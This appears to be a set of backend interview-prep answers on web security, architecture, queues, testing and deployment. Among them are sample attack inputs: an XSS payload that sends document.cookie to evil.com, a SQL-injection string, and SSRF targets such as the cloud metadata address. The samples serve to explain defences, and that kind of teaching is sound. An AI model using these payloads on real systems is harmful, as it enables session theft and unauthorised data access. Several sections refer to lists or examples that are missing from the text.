So SQL injection happens when user input gets glued into the query text, so the database parser can't tell my code from the attacker's data. Parameterised queries fix it by sending the SQL and the values over separate channels.

Let me give you an example.

// Vulnerable: input becomes part of the SQL text
const email = req.query.email;   // "' OR '1'='1"
db.query(`SELECT * FROM users WHERE email = '${email}'`);
// -> SELECT * FROM users WHERE email = '' OR '1'='1'   (every user)

// Safe: statement is parsed first, value bound afterwards
db.query("SELECT * FROM users WHERE email = $1", [email]);

What happens with the second version is that Postgres parses and plans the statement with $1 as a placeholder. Only then does it bind the value, and at that point the value is just a string. It can contain quotes, semicolons, DROP TABLE, whatever. It's never parsed as SQL.

One gotcha I've hit: ORMs aren't automatically safe. Prisma's $queryRawUnsafe or Sequelize's literal() with interpolated input put you right back in the vulnerable case. And you can't parameterise identifiers like column names in ORDER BY, so there I use an allow-list: map "price" to a known column, reject anything else.

So in practice: parameters for values, allow-lists for identifiers, and a least-privilege DB user so even a miss can't drop tables.

Interviewers look for: the "separate channels" mechanism, not just "use an ORM", plus the ORDER BY identifier edge case.

So the short version: XSS is the attacker's code running inside my site in a victim's browser. CSRF is another site making the victim's browser send a request to my site, riding on their cookies. XSS abuses the user's trust in my site; CSRF abuses my site's trust in the user's browser.

Let me give you an example of each. XSS: a comment field renders <img src=x onerror="fetch('//evil.com?c='+document.cookie)"> through innerHTML. CSRF: evil.com has a hidden form that auto-submits a POST /transfer to my bank app, and the browser attaches the session cookie.

The important thing is that XSS beats CSRF defences. If an attacker runs script on my origin, they can just read the CSRF token from the page. So XSS is the more serious one.

In practice, with SameSite=Lax as the browser default and APIs that take a bearer token in a header, CSRF is much less of an issue than it used to be. XSS I still defend against everywhere.

So IDOR, insecure direct object reference, is when I'm logged in as user 42, I change /orders/1001 to /orders/1002, and the server happily returns someone else's order. Authentication passed, but nobody checked authorisation on that specific object. It's been number one on the OWASP Top 10 for years because it's so easy to miss.

Let me give you an example of the bug and the fix.

// Bug: only checks that someone is logged in
app.get("/orders/:id", requireAuth, async (req, res) => {
  const order = await db.order.findUnique({ where: { id: req.params.id } });
  res.json(order);
});

// Fix: scope the query to the owner
app.get("/orders/:id", requireAuth, async (req, res) => {
  const order = await db.order.findFirst({
    where: { id: req.params.id, userId: req.user.id },
  });
  if (!order) return res.status(404).end();   // 404, not 403: don't confirm it exists
  res.json(order);
});

What I like about the fix is that the ownership check is in the query, so there's no way to fetch first and forget to check.

Systematically, I push this into the data layer: repository functions that always take the tenant or user ID, or Postgres row-level security for multi-tenant apps. Random UUIDs help against enumeration, but they're not access control. And I write a test per endpoint that logs in as user B and tries user A's resource.

Interviewers look for: scoping queries by owner, 404 vs 403 reasoning, and a systematic approach rather than "remember to check".

So mass assignment is when I pass the request body straight into an update, and the client adds fields I never meant to be writable, like role or isVerified or balance.

// Bug
await db.user.update({ where: { id: req.user.id }, data: req.body });
// body: { "name": "Ana", "role": "admin" }  -> privilege escalation

// Fix: a strict schema that is the whitelist
const UpdateProfile = z.object({
  name: z.string().min(1).max(100),
  bio: z.string().max(500).optional(),
}).strict();   // unknown keys -> validation error

const data = UpdateProfile.parse(req.body);
await db.user.update({ where: { id: req.user.id }, data });

The reason I use .strict() rather than the default strip behaviour is that I'd rather see a 400 in the logs when someone sends role. That's a signal. Stripping silently also works, as long as the parsed object is what gets passed on, never req.body.

The same thing applies on the way out: I pick fields for responses rather than returning the whole row, so passwordHash never leaks because someone added a column.

So I layer it, because the two attacks look different. Brute force hammers one account; credential stuffing tries leaked email/password pairs across thousands of accounts, often from many IPs.

There are really four things I'd put in place:

• Rate limits on two keys: per IP and per account. Per IP alone misses distributed stuffing; per account alone lets one IP spray every account.
• Progressive delay rather than hard lockout, because a hard lockout lets an attacker lock out any user they like.
• Breached-password checks at signup and password change, using the Have I Been Pwned k-anonymity API.
• MFA or passkeys, which make stolen passwords mostly useless.

const ipKey = `login:ip:${req.ip}`;
const acctKey = `login:acct:${email.toLowerCase()}`;
const [ipCount, acctCount] = await Promise.all([incrWithTtl(ipKey, 900), incrWithTtl(acctKey, 900)]);
if (ipCount > 50 || acctCount > 10) return res.status(429).set("Retry-After", "900").end();

A couple of details I care about: the error message is the same for "no such user" and "wrong password", and I hash a dummy password when the user doesn't exist so response timing doesn't reveal which emails are registered. And behind a load balancer, I make sure trust proxy is set correctly, otherwise req.ip is the balancer and everyone shares one limit.

Interviewers look for: limiting on both IP and account, avoiding account-lockout DoS, and user-enumeration awareness.

So SSRF, server-side request forgery, is when an attacker makes my server fetch a URL they choose. My server sits inside the network, so it can reach things they can't: http://169.254.169.254/ for cloud credentials, localhost:6379 Redis, internal admin panels.

The naive fix is checking the hostname string, and that doesn't work. evil.com can resolve to 10.0.0.5, or resolve to a public IP on the check and a private one on the fetch (DNS rebinding), or redirect to a private address.

What I'd actually do:

import { lookup } from "node:dns/promises";
import ipaddr from "ipaddr.js";

async function assertPublic(hostname) {
  const addrs = await lookup(hostname, { all: true });
  for (const { address } of addrs) {
    const range = ipaddr.process(address).range();
    if (range !== "unicast") throw new Error("Blocked address");  // private, loopback, linkLocal...
  }
  return addrs[0].address;
}
// Then connect to THAT resolved IP (pin it), with redirects disabled,
// http/https only, a short timeout and a max response size.

The key part is pinning: I resolve once, validate, and connect to that exact IP, so DNS can't change between the check and the use. Redirects I either disable or re-validate every hop.

For defence in depth, on AWS I enforce IMDSv2, which needs a PUT with a token header that a simple SSRF GET can't do. And ideally the fetcher runs in an isolated egress proxy or network segment with no route to internal services. That's the version I trust most, because it doesn't depend on my parsing being perfect.

Interviewers look for: DNS rebinding and redirects as the reasons string checks fail, and network-level isolation as the real fix.

So my baseline is: secrets never live in git or in the image. They come from a secret manager (AWS Secrets Manager, Vault, Doppler, or the platform's encrypted env store), get injected at runtime, and the app validates at startup that everything it needs is there.

const Env = z.object({
  DATABASE_URL: z.string().url(),
  JWT_SECRET: z.string().min(32),
  STRIPE_KEY: z.string().startsWith("sk_"),
});
export const env = Env.parse(process.env);   // crash on boot, not at 3am

Each environment gets its own credentials, so a leaked staging key doesn't touch production. Where the cloud supports it, I prefer no long-lived secret at all: IAM roles for workloads, OIDC federation from GitHub Actions to AWS instead of stored access keys.

When one leaks, and in my last project someone pushed a .env to a public repo for about ten minutes, the order is:

1. Rotate first. Deleting the commit doesn't help; bots scrape GitHub within seconds.
2. Check the provider's logs for use of that key in the exposure window.
3. Then clean history if needed and add prevention: gitleaks or GitHub push protection in CI.

So in practice I design for rotation being boring. If rotating a key needs a code deploy and a meeting, it won't happen fast when it matters.

So for almost any new product I'd start with a modular monolith: one deployable, but with clear module boundaries inside it. Microservices solve organisational scaling problems, and early on I don't have those problems. I have a "we don't know the domain yet" problem, and a monolith is much cheaper to reshape.

The way I'd keep the monolith healthy: each module (billing, orders, users) owns its tables, and other modules call its public service interface, never its tables directly. I've enforced that with lint rules on imports. Then if billing ever needs to be its own service, the seam is already there.

I'd extract a service when there's a concrete reason: a part with very different scaling (a video transcoder), a different language need, or a separate team that keeps blocking on shared deploys.

Interviewers look for: a reasoned default plus concrete triggers for splitting, not "microservices are modern".

So a retry says "that failed, try again". A circuit breaker says "this dependency keeps failing, stop calling it for a while". They're complementary: retries handle blips, the breaker handles outages, and without a breaker, retries during an outage make things worse.

It has three states:

• Closed: calls go through, failures are counted.
• Open: after, say, 50% failures over 20 calls, calls fail immediately without touching the network.
• Half-open: after a cooldown, let a few trial calls through. Success closes it, failure reopens it.

import CircuitBreaker from "opossum";

const breaker = new CircuitBreaker(callRecommendations, {
  timeout: 800,                  // treat slow as failed
  errorThresholdPercentage: 50,
  resetTimeout: 10_000,
});
breaker.fallback(() => []);      // degrade: no recommendations

const recs = await breaker.fire(userId);

What happens without it: the recommendation service hangs, every product page request waits for the full timeout, my Node process piles up open sockets and the DB pool fills with requests stuck mid-flight. One slow non-critical dependency takes down the whole page. With the breaker open, the page renders instantly with an empty recommendations block.

So in practice I pair: timeout on every call, a couple of retries with jitter for idempotent calls, a breaker around it, and a fallback wherever the feature is optional.

So it solves the dual-write problem: I need to update my database and publish an event, and there's no transaction spanning Postgres and Kafka. Whichever I do second can fail, and then the two disagree.

// Broken: crash between these two lines = order saved, event never sent
await db.order.create({ data: order });
await kafka.send({ topic: "orders", messages: [{ value: JSON.stringify(order) }] });

With the outbox, I write the event into an outbox table in the same local transaction as the business row. Either both commit or neither does. Then a separate relay reads unsent outbox rows, publishes them, and marks them sent.

await db.$transaction([
  db.order.create({ data: order }),
  db.outbox.create({ data: { topic: "OrderPlaced", payload: order } }),
]);

// relay, every second or via CDC (Debezium reading the WAL)
SELECT * FROM outbox WHERE sent_at IS NULL ORDER BY id LIMIT 100 FOR UPDATE SKIP LOCKED;

The trade-off is that the relay can publish and then crash before marking the row sent, so it publishes again. That means delivery is at-least-once, and consumers have to be idempotent, usually by storing the event ID they've processed. That's fine; at-least-once plus idempotent consumers is the realistic target in distributed systems anyway.

Interviewers look for: naming the dual-write problem and knowing the outbox gives at-least-once, so consumers must dedupe.

So the idea is that the domain logic sits in the middle and knows nothing about Express, Postgres or Stripe. It defines ports, interfaces for what it needs, and the outside world plugs in adapters that implement them.

// port, owned by the domain
interface PaymentGateway { charge(customerId: string, cents: number): Promise<ChargeId> }

// domain service depends only on the port
class CheckoutService {
  constructor(private payments: PaymentGateway, private orders: OrderRepo) {}
  async checkout(cart: Cart) { /* pure business rules */ }
}

// adapters live at the edge
class StripeGateway implements PaymentGateway { /* Stripe SDK here */ }
class FakeGateway implements PaymentGateway { /* for tests */ }

The practical wins are: I can unit test checkout rules with a fake gateway, no network, no mocks of the Stripe SDK. And when we moved one market to Adyen, the change was a new adapter, not a rewrite of checkout.

When is it worth it? When the domain logic is genuinely rich: pricing, billing, workflows. For a CRUD service that mostly moves JSON in and out of a table, full ports and adapters is ceremony. There I'd stop at controller, service, repository and accept that the service knows it talks to Postgres.

So I'd use a saga: the business transaction becomes a sequence of local transactions, each in its own service, and each step has a compensating action to undo it if a later step fails. There's no global rollback; there's "undo what already happened".

There are two styles. Choreography: each service reacts to events, like InventoryReserved triggers payment. Good for two or three steps, but the flow becomes invisible as it grows. Orchestration: one orchestrator explicitly drives the steps and compensations. For an order flow I'd pick orchestration, often with a durable workflow engine like Temporal, so state survives crashes and I can see where each order is.

The things that bite you are: every step and compensation must be idempotent, since messages get redelivered. Compensations can fail too, so they need retries and eventually a human alert. And the system is visibly inconsistent in between, so the UI shows "processing" rather than pretending it's atomic. I also reserve before charging, because releasing stock is much cheaper and friendlier than refunding a card.

Interviewers look for: compensating actions, orchestration vs choreography trade-off, idempotency, and ordering steps so the cheapest-to-undo happen first.

So vertical scaling is a bigger machine: more CPU, more RAM. Horizontal scaling is more machines behind a load balancer. Vertical is simpler, with no code changes, but it has a ceiling and it's still one box that can die. Horizontal has no real ceiling and gives redundancy, but it forces my app to be stateless.

Let me give you an example. In my last project, the API ran on one 2-vCPU instance and started hitting 90% CPU at peak. The quick fix was bumping to 8 vCPUs, which bought months. But a Node process only uses one core for JS, so we also ran it with one process per core. Later, for zero-downtime deploys and surviving an AZ outage, we went to three instances behind an ALB, and that's when we had to move sessions to Redis and uploads to S3.

For the database it's the same idea but harder: vertical first, then read replicas for reads, and sharding only as a last resort because cross-shard queries and rebalancing are painful.

So in practice I start vertical because it's cheap, but I design stateless from day one so going horizontal is a config change, not a rewrite.

So stateless means any instance can handle any request, because nothing that matters is stored in the process's memory or local disk. It's the precondition for load balancing, autoscaling and rolling deploys.

The things I've actually seen break when going from one to two instances:

Sticky sessions can paper over the first one, but I avoid them: when an instance dies, those users lose state anyway, and load gets uneven.

Interviewers look for: more than "sessions". The cron-running-twice and WebSocket fan-out cases show real experience.

So averages hide the pain. If 98 requests take 50ms and 2 take 5 seconds, the average is about 150ms, which looks fine, but 2% of users are having a terrible time. The p99 tells me the latency that 1 in 100 requests exceeds.

const lat = [...Array(98).fill(50), 5000, 5000];
const avg = lat.reduce((a, b) => a + b) / lat.length;   // 149
const p99 = [...lat].sort((a, b) => a - b)[Math.ceil(0.99 * lat.length) - 1];  // 5000

And it matters more than it sounds, because of fan-out. If one page load makes 20 backend calls, the chance that at least one hits the p99 is about 1 - 0.99^20, around 18%. So a "rare" tail becomes common for the user. Heavy users also make the most requests, so they hit the tail the most.

A gotcha I've hit: you can't average percentiles across instances. The mean of three instances' p99s isn't the fleet p99. You need histograms, like Prometheus histogram buckets, and compute the quantile over the merged buckets.

So in practice my SLOs and alerts are on p95/p99 plus error rate, and I look at the average only for capacity planning.

So the new problem is replication lag. Replicas are usually asynchronous, so a read right after a write can hit a replica that hasn't caught up. The classic symptom: a user updates their profile, the page reloads, and it shows the old name.

There are a few ways I handle it, depending on the flow:

• Read-your-writes by routing: after a user writes, send their reads to the primary for a short window, say 5 seconds. I keep a "last write at" timestamp in their session or a cookie.
• Critical reads always on the primary: anything followed by a decision, like checking balance before a payment, never goes to a replica.
• LSN-based: return the primary's WAL position after the write, and only read from a replica that has replayed past it. More precise, more work.

function dbFor(req) {
  const recentlyWrote = Date.now() - (req.session.lastWriteAt ?? 0) < 5000;
  return recentlyWrote ? primary : replica;
}

I also monitor lag directly, pg_last_xact_replay_timestamp() on the replica in Postgres, and pull a replica out of rotation if it falls too far behind.

Interviewers look for: naming replication lag and read-your-writes consistency, with a concrete routing strategy.

So what's going on is multiplication. Each Node instance has its own pool, say 20 connections. With 10 instances that's 200, and each Postgres connection is a whole backend process with its own memory. Autoscale to 30 instances, or go serverless where every function instance opens connections, and you blow past max_connections and start seeing "too many clients already".

Let me give you the fixes in the order I'd try them:

1. Right-size the pools. Total across instances should fit comfortably under max_connections. More connections don't mean more throughput; Postgres does best with roughly a few connections per core.
2. Add a pooler like PgBouncer in transaction mode, or RDS Proxy. Thousands of client connections map onto a few dozen real ones.
3. Shorten transactions, so connections are returned quickly. No HTTP calls inside a transaction.

// per instance
const pool = new Pool({ max: 10, idleTimeoutMillis: 10_000, connectionTimeoutMillis: 2_000 });

One gotcha with PgBouncer in transaction mode: session-level features break, like SET without LOCAL, advisory locks held across transactions, and LISTEN/NOTIFY. Named prepared statements used to be a problem too, though PgBouncer 1.21+ supports them in transaction mode.

So honestly, as late as possible. Before sharding I'd exhaust indexes and query tuning, a bigger primary, read replicas, caching, archiving cold data, and table partitioning. Sharding is for when the write volume or data size genuinely exceeds one primary, because it makes cross-shard joins, transactions, unique constraints and rebalancing hard forever after.

For the shard key, I look for three properties:

• Most queries include it, so they hit one shard.
• High cardinality and even distribution, so no shard is hot.
• Transactions stay within it.

Let me give you an example. For a B2B SaaS, tenant_id is usually right: every query is already scoped to a tenant, and all of a tenant's data lives together, so joins and transactions work normally. The risk is one huge tenant, so I'd keep a directory mapping tenants to shards, which lets me move a whale onto its own shard.

Bad keys: created_at, because all new writes hit the newest shard. Or country, which is skewed and low cardinality.

I'd also look at managed options first, like Citus on Postgres or Vitess for MySQL, rather than hand-rolling routing in the app.

Interviewers look for: reluctance to shard, the alternatives first, and the hot-spot risk with time-based keys.

So my rule is: if the work is slow, can fail and be retried, or the user doesn't need its result in this response, it goes to a queue.

Let me give you an example. At signup we used to write the user, send a welcome email, generate an avatar and sync to HubSpot, all inline. p95 was around 3 seconds, and when the email provider had an outage, signups failed even though the account row was already written. We moved everything except the DB write into BullMQ jobs:

app.post("/signup", async (req, res) => {
  const user = await users.create(req.body);
  await Promise.all([
    queue.add("welcome-email", { userId: user.id }),
    queue.add("crm-sync", { userId: user.id }),
  ]);
  res.status(201).json(user);
});

Now the response is about 60ms, and a flaky provider only delays its own job.

For longer work the user does care about, like generating a report, I return 202 Accepted with a job ID and the client polls or gets notified.

The one thing to watch: there's still a gap between the DB write and the enqueue. If the process dies right there, the job is lost. For things that must happen, I'd use the outbox pattern instead of enqueuing directly.

So a dead-letter queue is where a job goes after it has failed its maximum number of retries. Instead of retrying forever or silently dropping it, I park it somewhere I can inspect, fix, and replay.

Without one, you get two bad outcomes. Either a "poison" message, say one with malformed data that always throws, retries endlessly and eats worker capacity. Or failed jobs just disappear, and you find out a week later that 300 customers never got their invoices.

// SQS: redrive policy on the main queue
{ "deadLetterTargetArn": "arn:aws:sqs:...:invoices-dlq", "maxReceiveCount": 5 }

// BullMQ: failed jobs are kept in the "failed" set after attempts run out
queue.add("invoice", data, { attempts: 5, backoff: { type: "exponential", delay: 2000 },
  removeOnFail: false });

The part people skip is operating it. I alert on DLQ depth being greater than zero, and I have a replay path: once the bug is fixed, move the messages back to the main queue. That only works safely because the workers are idempotent.

Interviewers look for: poison messages, alerting on DLQ depth, and a replay story.

So at-least-once means a message is guaranteed to be processed, but possibly more than once. A worker can do the work and crash before acknowledging, so the broker redelivers. Most queues, SQS, BullMQ, RabbitMQ with acks, give you at-least-once. True exactly-once end to end, including side effects like sending an email, isn't something a broker can give you. What you build is at-least-once delivery plus idempotent processing, which gives effectively-once.

How I make a worker idempotent depends on the side effect:

// 1. Dedup table keyed by job/event id, in the same transaction as the work
await db.$transaction(async (tx) => {
  const inserted = await tx.$executeRaw`
    INSERT INTO processed_jobs (id) VALUES (${job.id}) ON CONFLICT DO NOTHING`;
  if (inserted === 0) return;                 // already done
  await tx.account.update({ where: { id }, data: { credits: { increment: 10 } } });
});

// 2. Pass an idempotency key to external APIs
await stripe.paymentIntents.create(params, { idempotencyKey: `order-${orderId}` });

Other tricks: make the operation naturally idempotent, like SET status = 'paid' instead of balance = balance + 10, or use upserts.

The one that's hard is a side effect with no idempotency support, like some email APIs. There I record "sent" right after the call and accept a tiny window where a crash means a duplicate email. Duplicate email is tolerable; duplicate charge is not.

So I think of them as two families. BullMQ, RabbitMQ and SQS are job queues: a message is work to do, one consumer takes it, and it's gone once acked. Kafka is a log: messages are retained, many consumer groups each read at their own offset, and you can replay history.

In my last project we had both: BullMQ for "send this email, resize this image" jobs in the Node monolith, and Kafka for domain events like OrderPlaced that analytics, search indexing and notifications each consumed independently. If we'd used a job queue for those events, every new consumer would have needed its own queue and the producer would have had to know about it.

So in practice: if it's "do this task", job queue. If it's "this happened, whoever cares can react, possibly later", log.

So growing depth means arrival rate is greater than processing rate. Either more is coming in, or workers got slower, or workers are failing and retrying. I check which one first, because the fixes are different.

What I'd look at, in order:

1. Enqueue rate: did a deploy or a batch import suddenly add 10x traffic?
2. Job duration: did p95 processing time jump? Usually a slow dependency, like a third-party API responding in 8s instead of 200ms.
3. Failure and retry rate: retries add load on top of new work.
4. Worker health: are workers crashing, OOM-killed, or stuck on a job with no timeout?

const counts = await queue.getJobCounts("waiting", "active", "delayed", "failed");
// active stuck at concurrency limit + waiting climbing = workers are slow, not absent

Fixes follow from that. If it's genuine load, scale workers horizontally, ideally autoscaling on queue depth (KEDA does this on Kubernetes). If it's a slow dependency, add timeouts and maybe a circuit breaker, and check whether I can batch calls. If the DB is the bottleneck, adding workers just makes it worse, so I'd rate limit the workers instead.

Interviewers look for: reasoning about arrival vs service rate, and knowing that adding workers can hurt a shared bottleneck.

So the trick is to not ask for global ordering, which kills parallelism, but for ordering per key. Events for order 123 must apply in order; events for order 123 and order 456 can run in parallel.

In Kafka that's built in: I use the entity ID as the message key, the key hashes to a partition, and a partition is consumed by exactly one consumer in the group, in order. So parallelism equals the number of partitions.

await producer.send({
  topic: "order-events",
  messages: [{ key: order.id, value: JSON.stringify(event) }],
});

In SQS FIFO it's the MessageGroupId. In BullMQ Pro there are groups; in plain BullMQ I've used one queue per shard of keys.

Some gotchas I've hit:

• A slow or poison message blocks everything behind it for that key, and in Kafka, for the whole partition. So I need a retry topic or DLQ strategy that doesn't just skip ahead and break order silently.
• Changing the partition count remaps keys, which breaks ordering during the transition.
• Retries on the producer can reorder unless idempotent producers are on (the default in modern Kafka clients).

And as a belt and braces, I put a version or sequence number on each event, and the consumer ignores anything older than what it has already applied. Then even an out-of-order redelivery can't regress state.

So a unit test checks one function or service in isolation with its dependencies faked. An integration test runs several real pieces together, for a backend typically the route, middleware, validation and a real database. An end-to-end test drives the whole deployed system through its real interface.

For a backend API, I write the most integration tests. Let me give you an example of why.

it("returns 404 when a user requests someone else's order", async () => {
  const alice = await createUser();
  const bob = await createUser();
  const order = await createOrder({ userId: alice.id });

  const res = await request(app)
    .get(`/api/orders/${order.id}`)
    .set("Authorization", `Bearer ${tokenFor(bob)}`);

  expect(res.status).toBe(404);
});

This one test covers routing, the auth middleware, the query scoping and the error handler, against real Postgres. A unit test of the service with a mocked repository would pass even if the SQL forgot the userId filter, which is exactly the bug I care about.

I still unit test pure logic with lots of branches, like pricing or date calculations, because those are fast and precise. And I keep a handful of E2E smoke tests for the critical paths, like signup and checkout, run after deploy.

Interviewers look for: a reasoned view that integration tests give the best confidence per effort for APIs, not a recited pyramid.

So there are three decisions: where the database comes from, how state is reset between tests, and how tests run in parallel.

• Where: Testcontainers spins up a real Postgres in Docker for the test run, same major version as production. I avoid SQLite as a stand-in because behaviour differs, like JSON operators, locking and constraint messages.
• Reset: either wrap each test in a transaction and roll back, or truncate tables in beforeEach. Rollback is faster, but breaks if the code under test opens its own transactions or uses a different connection.
• Parallel: one database or schema per worker, so parallel test files don't trample each other.

// vitest globalSetup
const pg = await new PostgreSqlContainer("postgres:17").start();
process.env.DATABASE_URL = pg.getConnectionUri();
execSync("npx prisma migrate deploy");

// per test file
beforeEach(async () => {
  await db.$executeRawUnsafe(
    "TRUNCATE users, orders, payments RESTART IDENTITY CASCADE");
});

Running migrations for real in the setup also tests the migrations, which has caught a broken one for us before it hit staging.

And I use small factory functions like createUser({ role: "admin" }) instead of big shared fixtures, so each test sets up exactly what it needs and reads clearly.

So my tests should never hit the real service: they'd be slow, flaky, cost money, and fail offline. But I also don't want to mock so deep that I'm testing my mocks. The approach depends on the level.

Unit and integration: I put the provider behind my own interface, an adapter, and swap in a fake. The fake is a small in-memory implementation, not a pile of jest.fn().

class FakeEmailSender {
  sent = [];
  async send(msg) { this.sent.push(msg); }
}

const emails = new FakeEmailSender();
const app = buildApp({ emails });

await request(app).post("/signup").send({ email: "a@x.com", password: "..." });
expect(emails.sent).toContainEqual(expect.objectContaining({ to: "a@x.com" }));

HTTP-level: when I want to test the adapter itself, including how it handles a 500 or a timeout, I intercept at the network layer with MSW or nock and return recorded responses.

Against the real thing: a small set of contract tests against the provider's sandbox, like Stripe test mode, run nightly rather than on every commit. That's what catches "they changed the response shape".

The gotcha is fakes drifting from reality. The nightly sandbox tests are what keep the fake honest.

Interviewers look for: dependency injection at a boundary you own, and some strategy to catch drift between fakes and reality.

So first, I treat it as a real bug, either in the test or in the code, not as noise. Flaky tests train people to hit "re-run" and ignore red builds, and then a real failure gets ignored too.

The usual causes I check for:

• Shared state: tests depending on order, leftover rows, or a module-level cache. Running with --sequence.shuffle in Vitest surfaces these.
• Time: new Date() near midnight or month boundaries, or setTimeout-based waits. I use fake timers or inject a clock.
• Ordering assumptions: SELECT without ORDER BY, or Promise.all results pushed into an array in completion order.
• Real async races: asserting before a background job finished.

Let me give you an example. We had a test asserting orders[0].id === first.id that failed maybe 1 in 30 runs. The query had no ORDER BY, and Postgres was returning rows in whatever order it found them. The fix was in the production code, not just the test, because the API endpoint had the same bug.

So in practice: reproduce it by running it 100 times in a loop, quarantine it with a ticket if it blocks the team, and fix the root cause within days, not months.

So no, not as a target. Coverage tells me which lines ran, not whether anything was checked. I can hit 100% with tests that assert nothing.

it("applies discount", () => {
  applyDiscount(order, "SAVE10");   // 100% of lines executed
});                                  // zero assertions, proves nothing

Where I do find coverage useful is in reverse: low coverage in a critical module, say the billing service at 40%, is a clear signal that there are untested paths. It's a smoke detector, not a grade.

What I aim for instead is behaviour coverage on the risky paths: permissions, money, state transitions, and the edge cases like empty input, duplicate submission, boundary values and unauthorized users. If I want a real measure of test quality, mutation testing with Stryker is much more honest: it changes > to >= and checks whether any test fails.

In my last team we set a modest threshold, around 80% on changed lines in CI, to catch "forgot to write any tests", and left the rest to code review.

So the risk is that each service's own tests pass, because each team mocks the other, but the mocks disagree with reality. Full E2E environments with every service catch it, but they're slow and flaky. What I'd use is consumer-driven contract testing.

The way it works with Pact: the consumer team writes tests describing exactly the requests they make and the fields they rely on. That produces a contract file. The provider's CI then replays those interactions against the real provider and fails if it can't satisfy them.

// consumer side (orders service)
provider
  .given("user 42 exists")
  .uponReceiving("a request for user 42")
  .withRequest({ method: "GET", path: "/users/42" })
  .willRespondWith({ status: 200, body: { id: 42, email: like("a@x.com") } });

What I like is that it's precise about what's actually used. If the provider removes a field nobody consumes, contracts still pass. If they rename email, the orders team's contract fails in the provider's pipeline, before merge. With the Pact broker's can-i-deploy, a deploy is blocked if the versions in production aren't compatible.

Alongside that, I'd keep API changes additive: add new fields, deprecate old ones, never repurpose a field. And for public or many-consumer APIs, an OpenAPI spec with breaking-change detection in CI, like oasdiff, is a lighter-weight alternative.

Interviewers look for: contract testing as the alternative to shared E2E environments, plus additive API evolution.

So multi-stage means I build in one image that has all the dev tooling, then copy only the output into a clean runtime image. The final image is smaller, starts faster, and has less attack surface: no TypeScript compiler, no test libraries, no source.

FROM node:22-alpine AS build
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build

FROM node:22-alpine
WORKDIR /app
ENV NODE_ENV=production
COPY package*.json ./
RUN npm ci --omit=dev
COPY --from=build /app/dist ./dist
USER node
EXPOSE 3000
CMD ["node", "dist/server.js"]

A few things I'd point out:

• I copy package*.json before the source, so the npm ci layer is cached and only reruns when dependencies change. That turns a 2-minute build into 15 seconds.
• npm ci, not npm install, so the lockfile is respected exactly.
• USER node so the process doesn't run as root.
• CMD ["node", ...] in exec form, not npm start, so SIGTERM reaches Node directly and graceful shutdown works.

Plus a .dockerignore with node_modules, .env and .git, which people forget and then ship their secrets in the image.

Interviewers look for: layer caching order, non-root user, and the exec-form CMD signal-handling detail.

So liveness asks "is this process alive, or is it wedged and should be restarted?" Readiness asks "should this instance receive traffic right now?" Different answers, different actions: a failed liveness check restarts the container, a failed readiness check just takes it out of the load balancer.

app.get("/healthz", (req, res) => res.send("ok"));        // liveness: cheap, no deps

let shuttingDown = false;
app.get("/readyz", async (req, res) => {                   // readiness
  if (shuttingDown) return res.status(503).end();
  try {
    await db.$queryRaw`SELECT 1`;
    res.send("ready");
  } catch {
    res.status(503).end();
  }
});

The mistake I've actually seen: putting the database check in liveness. Then the database blips for 30 seconds, every pod fails liveness, Kubernetes restarts all of them at once, and they all reconnect in a thundering herd. A DB outage became a full app outage with a slow recovery. Restarting the app doesn't fix the database, so liveness should only check the process itself.

Readiness is also what makes deploys and shutdown clean: a new pod isn't sent traffic until it's warmed up, and a terminating pod flips to 503 so it drains.

So when the orchestrator wants to stop a container, it sends SIGTERM, waits a grace period, 30 seconds by default in Kubernetes, then SIGKILLs it. Graceful shutdown is using that window to finish in-flight work instead of cutting requests off mid-response.

const server = app.listen(3000);

process.on("SIGTERM", async () => {
  setTimeout(() => process.exit(1), 25_000).unref();   // hard deadline
  shuttingDown = true;                 // readiness now returns 503
  await sleep(5_000);                  // let the LB notice and stop routing to us
  server.close();                      // stop accepting new connections
  server.closeIdleConnections();       // drop idle keep-alive sockets (Node 18.2+)
  await worker?.close();               // BullMQ: finish current jobs, take no more
  await db.$disconnect();
  await redis.quit();
  process.exit(0);
});

What happens step by step: I fail readiness first, then wait a few seconds, because the load balancer takes a moment to deregister the pod and would otherwise still send requests to a closed port. That's the cause of the "502s during every deploy" bug I've debugged before. Then server.close() lets in-flight requests finish. Then I close pools and queues.

The hard deadline matters because server.close() waits for keep-alive connections, and a long-lived one can hold it open forever.

Interviewers look for: the readiness-then-delay step. Most people only mention server.close().

So all three avoid downtime; they differ in how much risk you expose at once and how fast you can undo.

In my last project we used rolling deploys by default on ECS, and canary via Argo Rollouts for the payments service, where it auto-promoted only if the canary's error rate and p99 stayed within bounds for 10 minutes.

The gotcha common to all of them: for some period, two versions of the code run at once against the same database. So database migrations must be backward compatible. To rename a column I'd do expand and contract: add the new column, deploy code that writes both, backfill, switch reads, then drop the old column in a later release. Same for message formats in queues.

So in practice: rolling for most things, canary for high-risk services, and feature flags to separate deploying code from releasing features.

So the core rule is that every migration has to work with both the old and new application code, because during a rolling deploy both are running. And the migration itself must not lock a hot table for long.

Let me give you examples of what's safe in Postgres and what isn't:

I also set lock_timeout on migrations, say 5 seconds. One gotcha I've hit: an ALTER TABLE waiting for a lock behind a long-running query blocks every query queued behind it. So a "fast" migration took the site down because an analytics query was running. With lock_timeout the migration fails fast and I retry.

As for when: I run migrations as a separate step before the new code rolls out, from CI or a one-off job, not on app startup, where ten instances would race to run them.

Interviewers look for: backward-compatible migrations, CONCURRENTLY, and lock queueing awareness.

So serverless is great for spiky or low traffic and zero ops: I pay per invocation, it scales to zero, and I don't manage servers. The costs show up as traffic grows or when the workload doesn't fit the model.

The trade-offs I'd call out:

• Cold starts: a new instance loads the runtime and my bundle. For Node that's typically a few hundred ms, worse with big dependencies. Bundling with esbuild, lazy imports, and provisioned concurrency for latency-sensitive routes help.
• Database connections: each concurrent function is its own process with its own pool. A traffic spike means hundreds of connections. I'd use RDS Proxy, a serverless-friendly driver like Neon's over HTTP, and a pool size of 1 per function.
• No background work after the response: once I return, the execution environment can be frozen. Fire-and-forget promises may never finish, so real async work goes to SQS.
• Limits: max execution time (15 minutes on Lambda), payload size limits, no long-lived WebSockets without API Gateway's WebSocket support.
• Cost at steady high load: at constant heavy traffic, containers are usually cheaper.

// Reuse across warm invocations: create clients OUTSIDE the handler
const pool = new Pool({ connectionString: process.env.DATABASE_URL, max: 1 });
export const handler = async (event) => { /* use pool */ };

So in practice I've liked serverless for webhooks, cron jobs, and event processing, and containers for the main API once it has steady traffic.

So they answer different questions. Metrics tell me whether something is wrong right now: numbers over time like error rate and p95 latency. Traces tell me where the time went in one request across services. Logs tell me what exactly happened in a specific request.

